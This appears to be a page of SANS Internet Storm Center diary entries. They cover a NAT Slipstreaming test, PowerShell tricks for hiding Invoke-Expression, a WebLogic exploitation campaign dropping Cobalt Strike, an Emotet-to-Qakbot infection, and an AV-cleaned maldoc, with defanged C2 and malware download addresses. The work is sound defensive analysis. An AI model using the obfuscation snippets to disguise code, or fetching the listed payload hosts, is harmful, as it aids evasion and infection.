A recent {rediscovered} technique (NAT Slipstreaming) to allow an attacker remotely access any TCP/UDP service bound to a victim’s machine, thus bypassing the victim’s Network Address Translation (NAT)/firewall implementation was detailed by Samy Kamkar [1]. Samy had also shared a similar technique termed “NAT Pinning” back in 2010 [2]. The similarities in both techniques were convincing victims to access a specially crafted site implementing said techniques, resulting in the creation of a new connection accessible to the attacker (assuming that victim’s network configuration allowed the techniques to work). Meanwhile, the main differences between NAT Slipstreaming and NAT Pinning were 1) the utilization of different protocols/features (WebRTC and Application Level Gateway (ALG) for NAT Slipstreaming, and IRC for NAT Pinning) and 2) using WebRTC/web-based TCP timing attacks to discover the victim’s local IP addresses in NAT Slipstreaming.

I was intrigued by this technique, and wondered how the network components I had on hand would fare when faced with NAT Slipstreaming. In addition, Samy also put it up as an open thought about testing the technique within a virtual machine (VM).

There were a few questions I had in mind, and they influenced the final test set-up I put together. The questions are as follows:

- How would popular open sourced firewalls, such as pfSense, fare against NAT Slipstreaming?

- What would be the impact of NAT Slipstreaming on a user that accesses the specially crafted website from a VM?

- How does the attack look like on the wire?

The following networking infrastructure was set up to test out the NAT Slipstreaming technique (Note: the wireless router was configured purely to serve as a wireless access point and relies on pfSense to serve as the main router):

network diagram

Figure 1: Experimental Infrastructure for NAT Slipstreaming

From the Ubuntu virtual machine, I started capturing the network traffic and visited the Proof-of-Concept (PoC) page created by Samy [3]. The final output is shown as follows:

Figure 2: Output of PoC

Let us take a step back and examine Figure 2 carefully. I have further enclosed an area of text within Figure 2 in a red box to highlight how it looked like when a network packet capture was taken as the NAT Slipstreaming PoC was executed. Figure 3 shows the establishment of a webRTC channel from Packet 35 onwards after connecting to the PoC site (Packet 17). However, that did not reveal the internal IP address via webRTC (based on the output from Figure 2), and thus a web-based TCP timing attack was executed.

Figure 3: webRTC Channel Established

 

With reference to Figure 4, it was observed that a large number of common internal IP gateway addresses were cycled through as the website tries to load the hidden HTML <img> tags as part of the PoC. Finally, in Figure 5, we see that 2 IP addresses – 192.168.2.1 and 192.168.44.1 were the first to respond with a RST, ACK (Packets 337, 361 and 366). In our test set-up, 192.168.2.1 was indeed the gateway, while 192.168.44.1 was the VMware Net Adapter that was used to provide connectivity to the Ubuntu VM from the Windows Host machine. In the last step of identifying the NAT IP, the timing attack is executed again in the IP gateway address subnet that were discovered, yielding the physical host IP address of 192.168.2.122 (as per the output from Figure 2).

Figure 4: Common Internal IP Gateway Addresses Evaluated

Figure 5: RST, ACK from 192.168.2.1 and 192.168.44.1

Further steps in the PoC were supposed to be executed, but they were not and no further traffic was generated.

In the event of a successful execution of NAT Slipstreaming, the attacker is supposed to be able to bypass the victim’s NAT and connect to previously hidden/protected services. In our test set-up, our VM’s IP address was not exposed, but the IP address of the physical host was exposed (as shown in Figure 2). No further actions were observed as the PoC did not continue loading after a while, and no additional network traffic was generated. This meant that the attacker would still be able to glean internal network information about hosts once victims visit the website (due to the web-based TCP timing attack).

As indicated by Samy, NAT Slipstreaming would require the victim to first visit a specially configured website. In addition, the victim’s networking device (such as a router or firewall) has to support and enable Session Initiation Protocol (SIP) Application Level Gateway (ALG), a feature often used for configuring Voice over IP (VoIP) services. The particular vector of utilizing SIP ALG as an attack vector made me wonder if it was really needed, as certain networking devices might have them enabled by default. Interestingly, a search online yielded recommendations that SIP ALG should be disabled in most cases as it caused issues in VoIP implementations (such as VoIP phones ringing and being unable to answer them, failure to connect inbound/outbound calls and intermittent one-way audio) due to improper modification of SIP packets by the SIP ALG feature.

Nevertheless, the usage of VoIP services in enterprises and some homes is expected. Let us revisit our experimental set-up (Figure 1) and investigate why NAT Slipstreaming could not be fully executed. A quick search in Netgate documentation indicated that pfSense did not have SIP ALG features, although the closest option to it was the siproxd (usage strongly discouraged by Netgate, and only in circumstances where the upstream PBX required phones to have a source port of 5060) [4], [5]. This was further corroborated by a discussion within the Netgate forums with respect to the availability of SIP ALG on pfSense firewalls [6].

In terms of detection, end users should be mindful when visiting websites, especially if the site that was visited appears to take longer than usual time to load completely (other than a slow Internet connection, this could be NAT Slipstreaming executing within the visited website). For enterprises, continuous monitoring of network traffic will indicate tell-tale signs of NAT Slipstreaming (for example, a sudden spike in internal IP addresses with a destination port of 80 from a single internal host). In terms of mitigation, measures such as blocking unknown JavaScript by default will help since the PoC code is dependent on the execution of JavaScript. However, such a measure may affect user experience at times, and may not be a suitable solution for all. Another possible approach to mitigate NAT Slipstreaming is to conduct a configuration review on networking devices and verify if SIP ALG is supported and enabled. If there is no practical or business use for SIP ALG, it should be disabled. If SIP ALG is currently being implemented, an evaluation of its usage and other ways of implementing VoIP services should be considered.

A zip archive containing a network traffic capture from today’s experiment can be found here [7].

[1] https://samy.pl/slipstream/

[2] https://samy.pl/natpin/

[3] http://samy.pl/slipstream/server

[4] https://docs.netgate.com/pfsense/en/latest/recipes/nat-voip-pbx.html

[5] https://docs.netgate.com/pfsense/en/latest/recipes/nat-voip-phones.html

[6] https://forum.netgate.com/topic/105208/does-pfsense-have-sip-alg

[7] https://github.com/poppopretn/ISC-diaries-pcaps/blob/main/2020-11-NAT-Slipstream.zip

0 Comments

Published: 2020-11-05

Did You Spot "Invoke-Expression"?

When a PowerShell script is obfuscated, the deobfuscation process is, most of the time, performed through the Invoke-Expression cmdlet[1]. Invoke-Expression evaluates the string passed as an argument and returns the results of the commands inside the string. Example:

PS C:\Users\xavier> $a="1+1"
PS C:\Users\xavier> Invoke-Expression $a
2
PS C:\Users\xavier> $a="(Invoke-WebRequest 'https://isc.sans.edu/api/handler').Content"
PS C:\Users\xavier> Invoke-Expression $a
<?xml version="1.0" encoding="UTF-8"?>
<handler>
<name>Xavier Mertens</name>
</handler>

Here is another version of the previous example now obfuscated and handled via Invoke-Expression:`

PS C:\Users\xavier> $a="(Invoke-WebRequest ('hXtXtXpXsX:X/X/XiXsXcX.XsXaXnXsX.XeXdXuX/XaXpXiX/XhXaXnXdXlXeXr'-replace([char]88,''))).Content"
PS C:\Users\xavier> Invoke-Expression $a
<?xml version="1.0" encoding="UTF-8"?>
<handler>
<name>Xavier Mertens</name>
</handler>

You understand now that the presence of Invoke-Expression in a PowerShell script can be an interesting indicator of malicious activity. You can roughly compare Invoke-Expression to eval() in JavaScript or exec() in Python and, as I like to say, eval() is evil. If Invoke-Expression is used to deobfuscate some code, it is a common string to search for. Guess what? Attackers are trying to hide the use of this cmdlet by implementing more obfuscation. Here is a list of common obfuscation tricks that I spotted while hunting for malicious PowerShell.

One of the PowerShell features is the use of compressed or abbreviated cmdlet names. Instead of using the full name, 'Invoke-Expression' is most of the time replaced by 'IEX'. This three-characters string is then replaced by something more unreadable.

Example 1: Some characters are replaced:

'DEX'.replace('D','I')

Example 2: Concatenation of characters, some of them extracted from a specific position in another string. $PSHome = 'C:\Windows\System32\WindowsPowerShell\v1.0'.

$PSHome[21]+$PSHOme[34]+'x'

Example 3: Back quote pollution (simply ignored by PowerShell)

IE`x

Example 4: Extraction of characters from a string with a 'join':

( $VERBOSePRefereNCe.toSTRiNG()[1,3]+'X'-join'')

Example 5: More character extraction. $env:ComSpec = 'C:\WINDOWS\system32\cmd.exe'

$ENV:COMsPEc[4,15,25]

When having a look at the suspicious script, the first goal is to try to spot the presence of this Invoke-Expression. Once found, a quick and dirty debugging technique is to replace the 'iex' occurrence with a simple 'echo' to get access to the deobfuscated code!

The number of combinations is almost infinite but that's the ones that I spot most frequently. Did you spot other techniques? Feel free to share them!

[1] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

3 Comments

Published: 2020-11-03

Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike

Starting late last week, we observed a large number of scans against our WebLogic honeypots to detect if they are vulnerable to CVE-2020-14882. CVE-2020-14882 was patched about two weeks ago as part of Oracle's quarterly critical patch update. In addition to scans simply enumerating vulnerable servers, we saw a small number of scans starting on Friday (Oct. 30th) attempting to install crypto-mining tools [1].

On Friday, Oracle amended its patch for CVE-2020-14882 [2]. A new variation of the vulnerability (CVE-2020-14750) can be used to exploit WebLogic servers with a trivial modification of the exploit code.

Last Saturday we started seeing a campaign using a chain of Powershell obfuscated scripts to download a Cobalt Strike payload. According to Cisco Talos Q4 2020 CTIR report, 66% of all ransomware attacks this quarter involved the use of Cobalt Strike [3]. Thus, as expected, there is a high probability ransomware gang included CVE-2020-14882 exploit in their arsenal. 

The attack, as seen in Figure 1, exploits the vulnerability to execute a PowerShell payload base64-encoded. 

Figure 1 - Payload delivery

Decoding the base64 content, we can find the following code. As seen, there is another encoding layer using base64 and gzip compression. I usually make some adjustments to the original malicious script to make it save the decoded content to a file. So, replacing “IEX” by “$content =” and appending the script with “$content |out-file -filepath decoded_script.ps1” is enough to accomplish this result for this case.

Figure 2 - First stage decoding

Part of the resulting code is shown in Figure 3. Notice that there is another protected code. There is a loop decrypting each byte of the code using an XOR function with the byte 0x35. 

Figure 3 - Second stage decoding

The result of this operation is a shellcode to download and execute a Cobalt Strike payload hosted at http://185[.]205.210.179:4321/Z8qZ.

Figure 4 - Cobalt Strike payload download

Submitting the binary to VirusTotal, we had the following result:

]

Figure 5 - Cobalt Strike payload submitted to Virus Total

Running the malicious scripts in a controlled environment, it was possible to see connections established from time to time with the C2 at http://185[.]205.210.179/en_US/all.js.

References
[1] https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/

[2] https://www.oracle.com/security-alerts/alert-cve-2020-14750.html#AppendixFMWl
[3] https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html


IOCs:

Network:

45[.]134.26.174
http://185[.]205.210.179:4321/Z8qZ
http://185[.]205.210.179/en_US/all.js

Files:

Z8qZ
8ca0251bc340fc207e6f832eb6165b8d (MD5)
8f4654952833b7d7b7db02ca7cb6c2f6cb9c3c545dc51124b0f18588b3c4e1c0 (SHA256)

The malicious requests are available at https://isc.sans.edu/WebLogicPS.log.zip

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

0 Comments

Published: 2020-11-03

Emotet -> Qakbot -> more Emotet

Introduction

On Friday 2020-10-30, I generated an Emotet infection in my lab and saw Qakbot as the follow-up malware.  I let the activity run for a while, then another Emotet infection appeared on the same host after Qakbot started.

This appears to be an Emotet to Qakbot to another Emotet infection, with all three infections persistent on my infected lab host.


Shown above:  Flow chart for the infection chain I saw on Tuesday 2020-10-27.

Today's diary reviews this Emotet to Qakbot to more Emotet infection from last week.

The malspam

The malicious spam (malspam) was a Halloween-themed message sent on Thursday 2020-10-29 to one of my honeypot email accounts.  It had a Word doc attached to the message.  The Word doc has a malicious macro designed to infect a vulnerable Windows host with Emotet.


Shown above:  Halloween-themed malspam with malicious Word doc attachment pushing Emotet.

The attached Word document uses a template that's typical for recent Word docs pushing Emotet.


Shown above:  Word doc with macro for Emotet.

Infection traffic

The traffic didn't look much different than what I've seen before for Emotet to Qakbot infections, there just seemed to be more Emotet traffic than normal after the Qakbot traffic kicked in.  That didn't seem too unusual, though.


Shown above:  Start of the infection traffic filtered in Wireshark.


Shown above:  Traffic from the end of my pcap filtered in Wireshark.

In the above image, Emotet traffic is more frequent than I usually see.  Usually, Emotet will call back every 15 minutes, unless the host has been turned into a spambot.  Emotet spambot activity includes more frequent C2 callback traffic, but we would also see indicators of spambot traffic, and that's not the case here.

Forensics on an infected Windows host

When I checked the registry, I saw two entries for Emotet.  When Emotet updates itself, it will replace an already existing binary.  I'd never personally seen two separate Emotet binaries active and set up in the registry like this.


Shown above:  Windows registry updates from my infected lab host.



Shown above:  Persistent Emotet EXE from 1st Emotet infection and Qakbot follow-up malware.


Shown above:  Qakbot persistent on my infected lab host.


Shown above:  Another Emotet infection persistent approximately 17 minutes after the initial Qakbot EXE appeared.

Of note, Emotet backdates the persistent EXE files 8 days before the current date.  So the modified date on both of these Emotet EXE files is 2020-10-22, but the timestamp is the correct time for 2020-10-30.  Based on the timestamps for these binaries, it appears that Qakbot caused the second Emotet infection.

Indicators of Compromise (IOCs)

SHA256 hash: ed51269c3602786ff6ddef3a808d8178d26e4e5960f4ac7af765e4bd642128dd

  • File size: 233,466 bytes
  • File name: Party invitation.doc
  • File description: Word doc with macro for Emotet

SHA256 hash: a4c780c8b6ecb7d73f7498a4a46286cf2a2ecc6f378e2ba89deea06591c3cc04

  • File size: 364,544 bytes
  • File location: hxps://imperfectdream[.]com/wp-content/xb2csjPW6/
  • File location: C:\Users\[username]\Nscs8ry\S8t4g_l\Epl6_wa2m.exe
  • File location: C:\Users\[username]\AppData\Local\msexcl40\msimg32.exe
  • File description: Emotet EXE retrieved by Word macro

SHA256 hash: dcda70b5cc63629dd2760dbc76ffda0bedefd0ee92af4d4e3740acc7dd2eaff2

  • File size: 261,080 bytes
  • File location: C:\Users\[username]\AppData\Local\msexcl40\cryptnet7e4.exe
  • File location: C:\Users\[username]\AppData\Roaming\Microsoft\Gzzndshwwc\rrcbu.exe
  • File description: Qakbot EXE retrieved by the Emotet-infected host

SHA256 hash: 4180c4c11e631a7545d40dadb74280c00f53271a75b113c387bb87adaf2cecf7

  • File size: 318,992 bytes
  • File location: C:\Users\[username]\AppData\Roaming\Microsoft\Gzzndshwwc\rrcbu.exe
  • File description: Updated Qakbot EXE persistent on the infected Windows host

SHA256 hash: 4d1eeb527a61391ddcf30b0f9d6d9f96369e0179c1e1a65da5da33a196a991d4

  • File size: 192,512 bytes
  • File location: C:\Users\[username]\AppData\Local\AccountsControlInternal\mfc40.exe
  • File description: Another Emotet EXE persistent on the infected Windows host

HTTPS traffic caused by Word macro to retrieve initial Emotet EXE:

  • port 443 - enjoymylifecheryl[.]com
  • port 443 - homewatchamelia[.]com
  • port 443 - seramporemunicipality[.]org
  • port 443 - imperfectdream[.]com

HTTP traffic caused by the two Emotet infections:

  • 91.121.200[.]35 port 8080 - 91.121.200[.]35:8080
  • 45.230.228[.]26 port 443 - 45.230.228[.]26:443
  • 172.91.208[.]86 port 80 - 172.91.208[.]86
  • 50.91.114[.]38 port 80 - 50.91.114[.]38
  • 121.124.124[.]40 port 7080 - 121.124.124[.]40:7080
  • 167.99.105[.]11 port 8080 - 167.99.105[.]11:8080
  • 159.203.16[.]11 port 8080 - 159.203.16[.]11:8080
  • 188.226.165[.]170 port 8080 - 188.226.165[.]170:8080
  • 75.127.14[.]170 port 8080 - 75.127.14[.]170:8080

Traffic caused by Qakbot:

  • 47.44.217[.]98 port 443 - HTTPS traffic
  • 89.105.198[.]119 port 80 - a.strandsglobal[.]com - attempted TCP connections
  • port 443 - cdn.speedof[.]me - HTTPS traffic

Caused by Qakbot and Emotet:

  • various IP addresses - various ports - attempted TCP connections

Final words

In order to become infected, a victim must open the Word document and enable macros.  In most cases, people would see a warning against enabling macros.  Just opening the Word document by itself should not kick off the infection chain, unless the computer was set up to have macros automatically enabled.

Although Emotet pushes other families of malware like Qakbot, this is the first time I've seen indications that Qakbot has pushed Emotet.

A zip archive containing a pcap from today's infection is available here.  The Word doc and EXE files from the IOCs have been submitted to MalwareBazaar Database.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2020-11-02

AV Cleaned Maldoc

An anonymous reader reported an unusual malicious Office document.

This is oledump's output for this file:

Although there is a VBA storage and all the usual streams associated with VBA macros, oledump does not display macro indicators (M or m).

In such cases, I always use option -i like this:

 

When you use option -i (--info) without options -s, an extra column is added to the overview of streams. For all VBA module streams, a value like c+s will be displayed in that column. c stands for compiled code and s for source code.

For example, for stream 5, we have value 1355+161: this means that the first 1355 bytes of this stream contain compiled VBA code, and the following 161 bytes contain compressed VBA source code. Remark that the sum of 1355 and 161 is 1516, e.g. the size of the stream.

So now we know that stream 5, 15 and 17 are VBA modules, but that there's something unusual with them (otherwise we would see a macro indicator: M or m).

Let's take a look at the content of stream 5: I use option -A to output a run-length compressed hexadecimal/ASCII dump. If there are repeating rows in the hexadecimal/ASCII dump, they will be counted and removed:

The first row is all NULL bytes (00), and the following 83 rows too. And then we have some binary data with a repeating ASCII string: 'fixed.

When I see this, I start to think that this is a malicious Office document that has been cleaned: the malicious code has been removed. Let's check, by taking a look at the compiled code and the VBA code separately. I'll start with the compiled code:

The 1355 bytes of compiled code are all 00: that's not normal.

The source code:

VBA source code is compressed, but doesn't look like this. If you try to decompress the VBA source code with option -v, like we usually do, it will not work. option -v is specific for compressed VBA source code produced by an Office application. If you want to decompress any data (including VBA source code), you have to use option --decompress like this (I'm also using option -d to dump the output):

So this is indeed compressed ASCII text: a repetition of the line 'fixed.

But it is not VBA code compressed by an Office application, as it does not start with "Attribute VB_.." (option -v searches for VBA code staring with Attribute VB_...).

So this certainly looks to me like a malicious Office document where the VBA macros have been cleaned by an anti-virus program. But which AV?

We get a good clue by looking at the compressed data of stream 15:

The first line reads: 'macro Fixed By 360.QEX

That's the AV of Qihoo 360: 360 Safeguard. That's very thoughtful of the developers to add a message that helps me identify the AV product that did this.

So the module streams have been wiped: no compiled code and no source code. This maldoc can no longer execute.

But there are some other streams that contain compiled code too, like stream _VBA_PROJECT:

This one has not been cleaned. Let's take a look at the strings inside this stream:

So we have ShellV and different strings that look like BASE64: this is probably a maldoc that executes a PowerShell command.

I tried to find back the original maldoc using the method I described in this diary entry, but I had no success.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-11-01

Wireshark 3.2.8 and 3.4.0 Released

Wireshark version 3.2.8 and version 3.4.0 were released.

Both versions have vulnerability and bug fixes.

Version 3.4.0 Windows installers ship with Npcap 1.00, the major release of Nmap's Windows packet capture driver that is considered production-ready.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments